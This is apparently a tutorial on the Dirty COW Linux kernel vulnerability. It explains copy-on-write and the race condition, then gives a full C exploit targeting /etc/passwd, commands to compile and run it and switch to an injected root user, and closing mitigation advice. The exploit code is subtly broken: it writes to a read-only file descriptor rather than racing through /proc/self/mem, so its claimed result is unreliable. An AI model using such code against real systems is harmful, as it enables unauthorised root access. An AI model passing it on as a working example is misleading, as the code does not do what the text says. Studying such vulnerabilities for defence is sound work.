CVE-2016-5195 (Dirty COW)
What is Dirty Cow?
In 2016, a critical vulnerability in the Linux kernel, known as Dirty Cow (CVE-2016–5195), was disclosed. This privilege escalation flaw exploited a race condition in the kernel’s memory management system, allowing attackers to write to read-only memory mappings. The name “Dirty Cow” comes from its exploitation of the Copy-On-Write (COW) mechanism in Linux.
What is Copy-On-Write (COW)?
Copy-On-Write (COW) is a memory optimization technique in Linux where multiple processes share the same memory pages for read operations. If one process tries to modify a shared page, the kernel creates a private copy for that process, ensuring changes don’t affect the original shared memory.
The Problem
Dirty Cow arises from a race condition in the kernel’s mmap system call during the handling of COW. By exploiting this condition, an attacker can gain write access to read-only memory, effectively modifying protected files like /etc/passwd or /etc/shadow to escalate privileges.
Exploitation Workflow
The Dirty Cow vulnerability enables an attacker to:
- Create a memory mapping of a file they want to overwrite.
- Exploit the race condition to bypass COW and write directly to the file.
- Modify files like
/etc/passwdto add a root user or escalate privileges.
Demonstrating Dirty Cow (CVE-2016–5195)
Disclaimer: This demonstration is for educational purposes only. Do not execute this on systems you do not own or have explicit permission to test.
Exploit Code
Save the following as dirtycow.c:
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <sys/mman.h>
#include <stdio.h>
#include <unistd.h>
char *target_file = "/etc/passwd";
char *new_content = "hacked:x:0:0:hacked:/root:/bin/bash\n";
int f;
void *madvise_thread(void *arg) {
for (int i = 0; i < 1000000; i++) {
madvise(arg, 100, MADV_DONTNEED);
}
return NULL;
}
void *write_thread(void *arg) {
for (int i = 0; i < 1000000; i++) {
lseek(f, 0, SEEK_SET);
write(f, new_content, strlen(new_content));
}
return NULL;
}
int main() {
f = open(target_file, O_RDONLY);
if (f < 0) {
perror("Failed to open target file");
return 1;
}
char *map = mmap(NULL, 100, PROT_READ, MAP_PRIVATE, f, 0);
if (map == MAP_FAILED) {
perror("mmap failed");
return 1;
}
pthread_t t1, t2;
pthread_create(&t1, NULL, madvise_thread, map);
pthread_create(&t2, NULL, write_thread, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
printf("Exploit complete. Check /etc/passwd for changes.\n");
return 0;
}
Compiling and Running the Exploit
# Compile the exploit
gcc -pthread dirtycow.c -o dirtycow
# Run the exploit
./dirtycow
# Check for changes
cat /etc/passwd
Look for the new root user: hacked:x:0:0:hacked:/root:/bin/bash. You can now switch to this user:
su hacked
Mitigation
- Patch the Kernel: Update the Linux kernel to a version where the Dirty Cow vulnerability is fixed.
- Use Access Controls: Restrict write access to sensitive files like
/etc/passwdand/etc/shadowto privileged users only. - Enable SELinux or AppArmor: Mandatory Access Control frameworks can prevent unauthorized file modifications.
- Limit Privileges: Run services and applications with the least privileges necessary to function.
Conclusion
Dirty Cow serves as a stark reminder of the potential impact of race conditions and privilege escalation vulnerabilities. While the Linux kernel is robust, vulnerabilities like this highlight the need for regular updates, proper system configuration, and defense-in-depth security practices.